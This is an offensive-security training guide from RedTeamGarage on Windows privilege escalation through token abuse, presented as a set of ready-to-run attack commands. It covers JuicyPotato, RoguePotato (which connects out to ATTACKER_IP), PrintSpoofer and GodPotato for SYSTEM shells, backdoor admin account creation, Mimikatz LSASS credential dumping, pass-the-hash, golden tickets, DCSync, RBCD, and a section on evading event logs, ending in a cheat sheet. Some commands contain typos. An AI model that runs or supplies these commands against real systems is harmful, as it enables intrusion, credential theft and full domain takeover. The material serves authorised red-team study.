



◆ OFFENSIVE SECURITY SERIES ◆

TOKEN IMPERSONATION

Windows Privilege Escalation via Token Abuse

Incognito · Potato Attacks · PrintSpoofer · Rubeus · Mimikatz · SelImpersonatePrivilege

Incognito

JuicyPotato

RoguePotato

PrintSpoofer

Rubeus

Mimikatz

SharpToken

Tokenvator

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All token impersonation techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Token Impersonation — Windows Privilege Escalation via Token Abuse

01.	WINDOWS ACCESS TOKEN FUNDAMENTALS
02.	TOKEN TYPES — PRIMARY, IMPERSONATION & DELEGATION
03.	KEY PRIVILEGES — SeImpersonate, SeAssignPrimaryToken & MORE
04.	INCOGNITO — TOKEN IMPERSONATION VIA METERPRETER
05.	POTATO ATTACKS — JUICYPOTATO, ROGUEPOTATO & SWEETPOTATO
06.	PRINTSPOOFER — SPOOLING PRIVILEGE ESCALATION
07.	RUBEUS — KERBEROS TOKEN MANIPULATION
08.	MIMIKATZ TOKEN COMMANDS — PTH, PTT & TOKEN ELEVATION
09.	SHARPTOKENS & TOKENVATOR — .NET TOKEN TOOLS
10.	NAMED PIPE IMPERSONATION — MANUAL TECHNIQUE
11.	TOKEN IMPERSONATION IN ACTIVE DIRECTORY CONTEXT
12.	CONSTRAINED & UNCONSTRAINED DELEGATION ABUSE
13.	RESOURCE-BASED CONSTRAINED DELEGATION (RBCD)
14.	DETECTION EVASION — EVENT LOGS & OPSEC AWARENESS
15.	TOKEN IMPERSONATION CHEAT SHEET



01 — WINDOWS ACCESS TOKEN FUNDAMENTALS

How Windows Identity Works — SIDs, Tokens & the Security Model

Windows access tokens are the core identity objects that the operating system uses to determine what a process or thread is allowed to do. Every process running on Windows has a primary token assigned at creation, encoding the user's Security Identifier (SID), group memberships, and privileges. Token impersonation exploits Windows' legitimate impersonation mechanism — designed for services that need to act on behalf of connecting users — to steal the identity of higher-privileged accounts running on the same system.

Component	Description	Relevance to Attack
Access Token	Kernel object representing a security context	Contains SID, groups, privileges
SID	Security Identifier — unique ID for user/group	Determines access to objects
Privilege	Right to perform a system operation	SeImpersonatePrivilege = token theft
Integrity Level	Mandatory: Low, Medium, High, System	SYSTEM = highest — target for escalation
Impersonation	Thread temporarily adopts another token	Core mechanism we abuse
LSASS	Local Security Authority Subsystem Service	Stores credentials and tokens in memory
Session	Logon session scoped to a user login	Multiple users = multiple exploitable tokens

TOKEN IMPERSONATION ATTACK PATH

1. Gain initial foothold (webshell, exploit, spray) as low-priv user
2. Check current token — `whoami /priv` — look for `SeImpersonatePrivilege`
3. Enumerate tokens on system — `Incognito / list_tokens`
4. Impersonate SYSTEM or Domain Admin token
5. Use impersonated token to create process, access shares, dump hashes
6. Migrate Meterpreter into impersonated process for persistence



02 — TOKEN TYPES

Primary, Impersonation & Delegation — Security Levels Explained

Windows defines two fundamental token types and four impersonation levels. Understanding these is essential for knowing which tokens can be stolen, which can be used for impersonation, and which can be leveraged to create new processes under a different identity. The impersonation level determines how far the stolen token's authority extends.

Token Type	Description	Can Create Process?
Primary Token	Assigned to processes at creation — represents process identity	Yes
Impersonation Token	Assigned to threads — temporarily borrows another identity	Depends on level

Impersonation Level	What It Allows	Network Access?
SecurityAnonymous	Cannot impersonate at all	No
SecurityIdentification	Can check identity but not impersonate	No
SecurityImpersonation	Can impersonate on local system	No
SecurityDelegation	Full impersonation including network resources	YES — most powerful

WHAT TOKENS ARE AVAILABLE TO STEAL?

- Any user who has interactively logged on to the system (console or RDP)
- Any service running under a domain account (MSSQL, IIS AppPools, etc.)
- Any scheduled task running under an alternate account
- Any process running under SYSTEM or a high-priv account (if we have SeImpersonate)
- Delegation tokens — only available when Kerberos unconstrained delegation is set



03 — KEY PRIVILEGES

SeImpersonatePrivilege, SeAssignPrimaryToken & Dangerous Rights

Windows privileges are per-process rights stored in the access token. Certain privileges are direct escalation paths to SYSTEM — SeImpersonatePrivilege is the most commonly abused, held by IIS application pools, MSSQL service accounts, and many third-party service accounts. Any service account with this privilege is a Potato attack vector. Always check privileges immediately after gaining a shell.

Privilege	What It Grants	Exploit Path
SeImpersonatePrivilege	Impersonate any token after auth	Potato attacks, PrintSpoofer → SYSTEM
SeAssignPrimaryTokenPrivilege	Assign primary token to process	Alternative Potato path → SYSTEM
SeDebugPrivilege	Debug any process (incl. LSASS)	Dump LSASS memory → all credentials
SeBackupPrivilege	Bypass ACLs for backup purposes	Read SAM/SYSTEM hive → hash extraction
SeRestorePrivilege	Bypass ACLs for restore purposes	Write arbitrary files → DLL hijack
SeTakeOwnershipPrivilege	Take ownership of any object	Own sensitive files/registry keys
SeLoadDriverPrivilege	Load/unload kernel drivers	Load malicious driver → kernel-level code
SeCreateTokenPrivilege	Create access tokens from scratch	Forge arbitrary tokens
SeTcbPrivilege	Act as part of the OS	Create tokens with any SID

\$ Checking Privileges

```
# Check current user and privileges
whoami
whoami /all
whoami /priv

# Key output to look for:
# SeImpersonatePrivilege      Enabled ← POTATO / PRINTSPOOFER
# SeAssignPrimaryTokenPrivilege Enabled ← POTATO ALTERNATIVE
# SeDebugPrivilege           Enabled ← LSASS DUMP
# SeBackupPrivilege           Enabled ← SAM/SYSTEM DUMP

# PowerShell – enumerate token privileges
whoami /priv | findstr /i 'enabled'

# Check if running as service account (common impersonate holder)
# IIS: IIS APPPOOL\DefaultAppPool, IIS APPPOOL\AppName
# MSSQL: NT SERVICE\MSSQLSERVER, NT SERVICE\SQLSERVERAGENT
# These always have SeImpersonatePrivilege
```



04 — INCOGNITO — TOKEN IMPERSONATION

Meterpreter Extension for Listing and Stealing Tokens

Incognito is a Meterpreter extension that enumerates all access tokens available on a compromised system and allows impersonation of any listed token. It was originally a standalone tool by Luke Jennings and was later integrated into Metasploit. Incognito lists both delegation and impersonation tokens — delegation tokens are the most powerful as they allow network access.

\$ Incognito Token Impersonation

```
# Load incognito extension in Meterpreter
meterpreter > load incognito
[*] Loading extension incognito...Success.

# List all available tokens
meterpreter > list_tokens -u

Delegation Tokens Available
=====
BUILTIN\Administrators
TARGET\Administrator
TARGET\Domain Admin User
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
=====
NT AUTHORITY\ANONYMOUS LOGON
NT AUTHORITY\LOCAL SERVICE

# Impersonate SYSTEM token
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

# Verify new identity
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Impersonate Domain Admin
meterpreter > impersonate_token 'TARGET\Domain Admin User'
[+] Successfully impersonated user TARGET\Domain Admin User

# Steal token from specific process (by PID)
meterpreter > steal_token 1452

# Drop impersonation – revert to original token
meterpreter > rev2self

# Run command as impersonated user
meterpreter > execute -f cmd.exe -i -t
# -t flag: use current impersonation token
```



05 — POTATO ATTACKS

JuicyPotato, RoguePotato & SweetPotato — Selpersonate to SYSTEM

The Potato family of attacks abuses the Windows DCOM/NTLM authentication mechanism to coerce the SYSTEM account to authenticate to an attacker-controlled named pipe or COM server. When SYSTEM authenticates, its token is captured and impersonated using SelpersonatePrivilege — escalating from any service account directly to NT AUTHORITY\SYSTEM. Different Potato variants target different Windows versions and patch levels.

Potato Tool	Windows Versions	Mechanism	Requirement
JuicyPotato	Windows 7–10 / Server 2008–2016	DCOM/NTLM coercion via CLSID	SelpersonatePrivilege
RoguePotato	Windows 10 / Server 2019+	Fake OXID resolver + NTLM relay	SelpersonatePrivilege
SweetPotato	Universal (all modern Windows)	Combines multiple techniques	SelpersonatePrivilege
GenericPotato	Universal	HTTP/named pipe coercion	SelpersonatePrivilege
MultiPotato	Universal	Multi-vector Potato framework	SelpersonatePrivilege

\$ Potato Attack Execution

```
# JuicyPotato – Windows Server 2016 and earlier
# 1. Upload JuicyPotato.exe to target
meterpreter > upload /opt/JuicyPotato.exe C:\\Windows\\Temp\\jp.exe

# 2. Execute – escalate to SYSTEM via COM object
# Need a valid CLSID for the OS version (see CLSID list on GitHub)
meterpreter > shell
C:\\Windows\\Temp\\jp.exe -l 4445 -p C:\\Windows\\System32\\cmd.exe \\
-a '/c net user hacker P@ss123! /add' -t * \\
-c {6d18ad12-bde3-4393-b311-099c346e6df9}

# Or: spawn reverse shell as SYSTEM
C:\\Windows\\Temp\\jp.exe -l 4445 -p C:\\Windows\\Temp\\shell.exe -t * \\
-c {6d18ad12-bde3-4393-b311-099c346e6df9}
[+] CreateProcessAsUser OK
[+] Listening on 127.0.0.1:4445

# RoguePotato – Windows 10 / Server 2019
# Attacker: socat listener for NTLM relay
socat tcp-listen:9999,reuseaddr,fork tcp:127.0.0.1:9998

# Target: execute RoguePotato
RoguePotato.exe -r ATTACKER_IP -e 'C:\\Windows\\Temp\\shell.exe' -l 9999

# SweetPotato – universal, recommended for modern targets
SweetPotato.exe -a '/c whoami > C:\\Windows\\Temp\\out.txt'
SweetPotato.exe -e EfsRpc -p C:\\Windows\\Temp\\shell.exe
[+] Triggering EfsRpc...
[+] ImpersonateNamedPipeClient OK
[+] Running as: NT AUTHORITY\\SYSTEM
```



06 — PRINTSPOOFER

Print Spooler Privilege Escalation — SYSTEM via Named Pipe

PrintSpoofer exploits the Windows Print Spooler service to coerce SYSTEM-level authentication to an attacker-controlled named pipe. It works on Windows 10 and Server 2016/2019 where JuicyPotato fails, and requires only SeImpersonatePrivilege. It is one of the most reliable SYSTEM escalation tools for IIS and MSSQL service accounts on modern Windows.

\$ PrintSpoofer Execution

```
# Upload PrintSpoofer to target
meterpreter > upload /opt/PrintSpoofer64.exe C:\\Windows\\Temp\\ps.exe

# Execute interactive SYSTEM shell
meterpreter > shell
C:\\Windows\\Temp\\ps.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041]
(c) Microsoft Corporation. All rights reserved.

C:\\Windows\\system32> whoami
nt authority\\system

# Execute specific command as SYSTEM
C:\\Windows\\Temp\\ps.exe -c 'net user hacker P@ss123! /add'
C:\\Windows\\Temp\\ps.exe -c 'net localgroup administrators hacker /add'

# Spawn reverse shell as SYSTEM
C:\\Windows\\Temp\\ps.exe -c 'C:\\Windows\\Temp\\rev_shell.exe'

# From Meterpreter — execute directly
meterpreter > execute -f C:\\Windows\\Temp\\ps.exe \\
-a '-i -c cmd' -H -t

# Alternative: GodPotato (works on Server 2012 - 2022, Win8-11)
GodPotato.exe -cmd 'C:\\Windows\\Temp\\shell.exe'
[*] CombaseModule: 0x140729928384512
[+] StartAccept OK
[+] SYSTEM Token: OK
```

WHICH POTATO TO USE — DECISION GUIDE

- Windows Server 2008 / 2012 → JuicyPotato (with correct CLSID)
- Windows Server 2016 → JuicyPotato or PrintSpoofer
- Windows 10 / Server 2019 → PrintSpoofer or RoguePotato
- Windows 10/11 / Server 2022 → SweetPotato or GodPotato
- Universal / Unknown version → SweetPotato (multi-vector, tries all)
- Pre-requisite for ALL → SeImpersonatePrivilege must be Enabled



07 — RUBEUS — KERBEROS TOKEN MANIPULATION

Pass-the-Ticket, Overpass-the-Hash & S4U Delegation

Rubeus is a .NET toolset for raw Kerberos interaction and token manipulation. It harvests TGTs from memory, performs Pass-the-Ticket attacks to inject Kerberos tickets into the current session, performs Overpass-the-Hash to convert NTLM hashes into Kerberos TGTs, and abuses S4U extensions for delegation-based impersonation. Rubeus is the go-to tool for all Kerberos credential and token operations.

\$ Rubeus — Core Operations

```
# Harvest TGTs from all sessions on system (requires elevated)
Rubeus.exe harvest /interval:30

# Dump tickets from current session
Rubeus.exe triage
Rubeus.exe dump /service:krbtgt /nowrap

# Pass-the-Ticket (PTT) – inject TGT into current session
Rubeus.exe ptt /ticket:BASE64_TICKET_HERE
# Verify: klist (should show injected ticket)

# Overpass-the-Hash – convert NTLM hash to TGT
Rubeus.exe asktgt /user:jdoe /rc4:NTLM_HASH /domain:target.local \
  /ptt /nowrap
# Result: TGT injected, can now access Kerberos-auth'd services as jdoe

# Request service ticket using TGT (TGS-REQ)
Rubeus.exe asktgs /ticket:TGT_B64 /service:cifs/dc01.target.local \
  /ptt

# S4U2Self – request service ticket on behalf of another user
# (requires service account with S4U delegation rights)
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.target.local /domain:target.local /ptt

# Kerberoast – request and extract TGS for offline cracking
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# AS-REP Roast – no preauth accounts
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Monitor for new TGTs (useful on shared systems)
Rubeus.exe monitor /interval:5 /nowrap
```



08 — MIMIKATZ TOKEN COMMANDS

Pass-the-Hash, Pass-the-Ticket & Token Elevation

Mimikatz is the definitive Windows credential extraction tool. Beyond its famous credential dumping capabilities, Mimikatz provides token elevation, Pass-the-Hash, Pass-the-Ticket, and Golden/Silver Ticket forging. The token module allows elevation to SYSTEM and impersonation of any security context available on the machine.

\$ Mimikatz Token & Credential Operations

```
# Load Mimikatz via Meterpreter Kiwi extension
meterpreter > load kiwi
meterpreter > creds_all           # Dump all credential types
meterpreter > lsa_dump_sam        # Local SAM hashes
meterpreter > lsa_dump_secrets    # LSA secrets (service passwords)

# Mimikatz standalone (on target or via execute)
privilege::debug                 # Get SeDebugPrivilege
token::elevate                   # Elevate to SYSTEM token
token::revert                    # Revert to original token
token::list                      # List all tokens
token::impersonate               # Impersonate available token

# sekurlsa - LSASS memory credential dump
sekurlsa::logonpasswords         # Cleartext + NTLM for all sessions
sekurlsa::wdigest                # WDigest cleartext (if enabled)
sekurlsa::kerberos               # Kerberos tickets
sekurlsa::tickets /export        # Export all Kerberos tickets to .kirbi

# Pass-the-Hash - authenticate with NTLM hash
sekurlsa::pth /user:Administrator /ntlm:NTLM_HASH \
  /domain:target.local /run:cmd.exe
# Opens new cmd.exe running as Administrator using the hash

# Pass-the-Ticket - inject .kirbi ticket
kerberos::ptt ticket.kirbi
kerberos::list                   # Verify ticket injected

# Golden Ticket - forge TGT for any user (needs krbtgt hash)
kerberos::golden /user:Administrator /domain:target.local \
  /sid:S-1-5-21-... /krbtgt:KRBtgt_HASH /ptt

# Silver Ticket - forge service ticket (needs service account hash)
kerberos::golden /user:Administrator /domain:target.local \
  /sid:S-1-5-21-... /target:dc01.target.local \
  /service:cifs /rc4:SERVICE_HASH /ptt
```



09 — SHARPTOKENS & TOKENVATOR

.NET Token Manipulation Tools — Listing, Stealing & Creating

SharpToken and Tokenvator are .NET-based token manipulation tools that provide more granular control over Windows token operations than Incognito. They support listing tokens by process, stealing tokens by PID, running commands under stolen tokens, and creating new tokens with arbitrary privileges — all without requiring a Meterpreter session.

\$ SharpToken & Tokenvator

```
# SharpToken — .NET token stealing tool
# Run via execute-assembly (Cobalt Strike / Sliver) or direct

# List all available tokens on system
SharpToken.exe list

# Execute command using token from specific PID
SharpToken.exe execute PID cmd.exe false
SharpToken.exe execute 1452 cmd.exe true # true = with new console

# Execute command as SYSTEM (PID 4 = System process)
SharpToken.exe execute 4 cmd.exe false

# Tokenvator — comprehensive .NET token tool
Tokenvator.exe

# Inside Tokenvator interactive shell:
(Tokenvator) > list_token_priv # List tokens + privileges
(Tokenvator) > find_token_priv SeDebugPrivilege # Find priv
(Tokenvator) > steal_token PID # Steal by PID
(Tokenvator) > steal_token_and_run PID cmd.exe # Steal + run

# Elevate via named pipe (if SeImpersonatePrivilege)
(Tokenvator) > getsystem # Auto escalate

# Spawn SYSTEM process
(Tokenvator) > spawn_as_system cmd.exe

# Create token with arbitrary group membership
(Tokenvator) > add_priv SeDebugPrivilege
```



10 — NAMED PIPE IMPERSONATION

Manual Technique — Creating a Pipe and Waiting for SYSTEM

Named pipe impersonation is the underlying mechanism that Potato attacks and PrintSpoofer exploit. Understanding the manual technique provides deep insight into why these attacks work and enables custom exploitation when standard tools are detected. The attacker creates a named pipe server, tricks a privileged process (SYSTEM) into connecting, then calls `ImpersonateNamedPipeClient()` to steal that connection's token.

\$ Named Pipe Impersonation — Concept & C Code

```
# The attack flow:
# 1. Create named pipe: \\.\pipe\evil_pipe
# 2. Trigger SYSTEM to connect (via Potato coercion, spooler, etc.)
# 3. Call ImpersonateNamedPipeClient() → steal SYSTEM token
# 4. Call CreateProcessWithTokenW() → spawn process as SYSTEM

// Minimal C++ named pipe impersonation skeleton:
HANDLE hPipe = CreateNamedPipe(
    L"\\\\.\\pipe\\evil",
    PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, 1, 1024, 1024, 0, NULL);
ConnectNamedPipe(hPipe, NULL);           // Wait for client
ImpersonateNamedPipeClient(hPipe);       // Steal token
HANDLE hToken; OpenThreadToken(
    GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
// Now use hToken with CreateProcessWithTokenW()

# PowerShell – trigger connection via EfsRpcOpenFileRaw (SweetPotato method)
# Invoke EFS RPC to force SYSTEM to connect to our named pipe

# Tools that use named pipe impersonation internally:
# PrintSpoofer, SweetPotato, GodPotato, RoguePotato
# All exploit the same Windows ImpersonateNamedPipeClient() API
```



11 — TOKEN IMPERSONATION IN AD CONTEXT

Domain Users, Service Accounts & Cross-Domain Token Abuse

When a domain user logs into a workstation, their Kerberos TGT and NTLM credentials are cached in LSASS. Any process with SeDebugPrivilege can dump these credentials and impersonate domain users — including Domain Admins who have recently logged in. Incognito lists all domain users with active tokens, making any system with a domain admin session a pivot to full domain compromise.

\$ AD Token Hunting & Impersonation

```
# Find systems where Domain Admins are logged in
# From BloodHound: 'Find Shortest Paths to Domain Admins'
# PowerView: Get-NetLoggedon -ComputerName workstations

# PowerView – find DA sessions
Import-Module PowerView.ps1
Invoke-UserHunter -GroupName 'Domain Admins'
# Output: shows which computer each DA is currently logged into

# CrackMapExec – hunt logged-on users across subnet
crackmapexec smb 10.10.10.0/24 -u jdoe -p 'P@ss!' --loggedon-users

# Once on a system with DA session – use Incognito
meterpreter > load incognito
meterpreter > list_tokens -u
# Look for: TARGET\Domain Admin User (Delegation token)

meterpreter > impersonate_token 'TARGET\DA_Username'
meterpreter > getuid
Server username: TARGET\DA_Username

# Use DA token to access DC
meterpreter > execute -f cmd.exe -i -t
C:\> net use \\DC01\C$ /user:TARGET\DA_Username
# Or: run DCSync via Mimikatz under DA token
C:\> mimikatz.exe 'lsadump::dcsync /domain:target.local /all /csv' exit
```



12 — UNCONSTRAINED DELEGATION ABUSE

TGT Harvesting from Inbound Kerberos Authentication

Unconstrained Kerberos delegation allows a service to impersonate any user that authenticates to it — including Domain Admins. When a user authenticates to a service configured for unconstrained delegation, their full TGT is sent to the service and cached in LSASS memory. An attacker who compromises a host with unconstrained delegation enabled can harvest these TGTs and use them to impersonate every user who connects — including the Domain Controller itself via the Printer Bug.

\$ Unconstrained Delegation Discovery & Exploitation

```
# Find computers with Unconstrained Delegation (BloodHound / PowerView)
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties *
# Or via LDAP: userAccountControl has TRUSTED_FOR_DELEGATION bit set

# PowerView
Get-DomainComputer -Unconstrained | select name,dnshostname

# Once on unconstrained delegation host — harvest TGTs
Rubeus.exe harvest /interval:30
# Wait for Domain Admin to connect to any service on this host

# Printer Bug — coerce DC to authenticate to our unconstrained host
# SpoolSample: triggers DC to auth to our machine via Print Spooler
SpoolSample.exe DC01.target.local UNCONSTRAINED_HOST.target.local

# Rubeus monitors for new TGTs including DC machine account TGT
# [+] 13/01/2024 09:14:22 UTC - Found new TGT:
# User: DC01$@TARGET.LOCAL

# Inject DC machine account TGT
Rubeus.exe ptt /ticket:BASE64_TICKET

# DCSync using DC machine account TGT
mimikatz.exe 'lsadump::dcsync /domain:target.local /all /csv' exit
```



13 — RESOURCE-BASED CONSTRAINED DELEGATION (RBCD)

Writing msDS-AllowedToActOnBehalfOfOtherIdentity for SYSTEM

Resource-Based Constrained Delegation (RBCD) is an attack that allows an attacker with write permissions over a computer object to configure it to trust a controlled computer for delegation — enabling S4U impersonation of any user to that computer, including Administrator. The attack requires only GenericWrite or WriteProperty on the target computer object in AD, which is a common misconfiguration.

\$ RBCD Attack — Full Workflow

```
# Prerequisites:
# 1. Control over a computer/user account with SPN (or create one)
# 2. GenericWrite or WriteProperty on target computer object in AD

# Step 1: Create a new computer account (default: domain users can create 10)
Import-Module PowerMad.ps1
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString \
  'P@ssword1!' -AsPlainText -Force)

# Step 2: Get SID of new computer account
Get-DomainComputer AttackerPC | select objectsid

# Step 3: Write msDS-AllowedToActOnBehalfOfOtherIdentity on target
Import-Module PowerView.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor \
  -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;ATTACKER_SID)'
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET_PC | Set-DomainObject \
  -Set @{'msds-allowedtoactonbehalffofotheridentity'=$SDBytes}

# Step 4: S4U attack – get impersonation ticket for Administrator
Rubeus.exe s4u /user:AttackerPC$ /rc4:MACHINE_HASH \
  /impersonateuser:Administrator /msdsspn:cifs/TARGET_PC.target.local \
  /domain:target.local /ptt

# Step 5: Access target as Administrator
ls \\TARGET_PC.target.local\c$ # Should succeed as Administrator
```



14 — DETECTION EVASION & OPSEC

Event Logs Generated, Noisy Operations & Stealth Techniques

Token impersonation generates distinctive Windows event logs. Understanding which events are created by each technique allows red teamers to assess detection risk and choose the least-noisy approach. SIEM rules typically alert on specific event IDs and patterns — knowing these helps stay under the radar during a sensitive engagement.

Technique	Event IDs Generated	Detection Risk	Stealth Alternative
Token impersonation (Incognito)	4624 (Logon Type 9)	Medium	Steal token in-memory only
Potato attacks	4624, 7045 (Service Install)	Medium-High	Clean up service after use
Pass-the-Hash	4624 (Logon Type 3, NTLM)	High	Use Kerberos PTT instead
Pass-the-Ticket	4768, 4769 (TGT/TGS request)	Low-Medium	Normal Kerberos traffic
Golden Ticket	4768 (unusual encryption type)	Medium	RC4 → AES256 to reduce noise
DCSync	4662 (Directory Access)	High	Use VSS shadow copy instead
LSASS dump	10 (Sysmon LSASS access)	Very High	Dump via Volume Shadow Copy

OPSEC BEST PRACTICES FOR TOKEN OPERATIONS

- Use PTT (Kerberos) over PTH (NTLM) — Kerberos traffic is less suspicious
- Migrate into a legitimate process after impersonation (explorer.exe, svchost)
- Avoid creating new services or scheduled tasks unless cleaning up after
- Do NOT dump LSASS with direct MiniDump — use LSS comsvcs.dll or Shadow Copy
- Use in-memory .NET tools (execute-assembly) over dropped .exe files
- Time-box operations — impersonate only as long as needed, then rev2self



15 — TOKEN IMPERSONATION CHEAT SHEET

Every Command — From Privilege Check to Domain Compromise

Check privs	whoami /priv — look for SeImpersonatePrivilege or SeDebugPrivilege
List tokens (Incognito)	meterpreter > load incognito then list_tokens -u
Impersonate (Incognito)	meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
Steal token by PID	meterpreter > steal_token
Revert token	meterpreter > rev2self
JuicyPotato	jp.exe -l 4445 -p cmd.exe -t * -c {CLSID}
SweetPotato	SweetPotato.exe -e EfsRpc -p C:\Windows\Temp\shell.exe
GodPotato	GodPotato.exe -cmd 'C:\Windows\Temp\shell.exe'
PrintSpoofer	PrintSpoofer64.exe -i -c cmd (interactive SYSTEM shell)
Rubeus PTT	Rubeus.exe ptt /ticket:
Rubeus OPtH	Rubeus.exe asktgt /user:jdoe /rc4: /domain:target.local /ptt
Rubeus S4U	Rubeus.exe s4u /user:svc\$ /rc4: /impersonateuser:Admin /msdssp:cifs/DC01
Rubeus harvest	Rubeus.exe harvest /interval:30
Mimikatz token elevate	privilege::debug then token::elevate
Mimikatz PTH	sekurlsa::pth /user:Administrator /ntlm: /domain:target.local /run:cmd
Mimikatz Golden Ticket	kerberos::golden /user:Admin /domain:target.local /sid:S-1-5-21-... /krbtgt: /ptt
Mimikatz DCSync	lsadump::dcsync /domain:target.local /all /csv
Find DA sessions (PV)	Invoke-UserHunter -GroupName 'Domain Admins'
Unconstrained hosts	Get-ADComputer -Filter {TrustedForDelegation -eq \$True}
Coerce DC (Printer Bug)	SpoolSample.exe DC01.target.local UNCONSTRAINED_HOST.target.local
RBCD — write attribute	Set-DomainObject target -Set @{'msds-allowedtoactonbehalfofotheridentity'=\$SDBytes}
SharpToken list	SharpToken.exe list
SharpToken execute	SharpToken.exe execute cmd.exe false
Tokenvator getsystem	Tokenvator.exe then getsystem



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.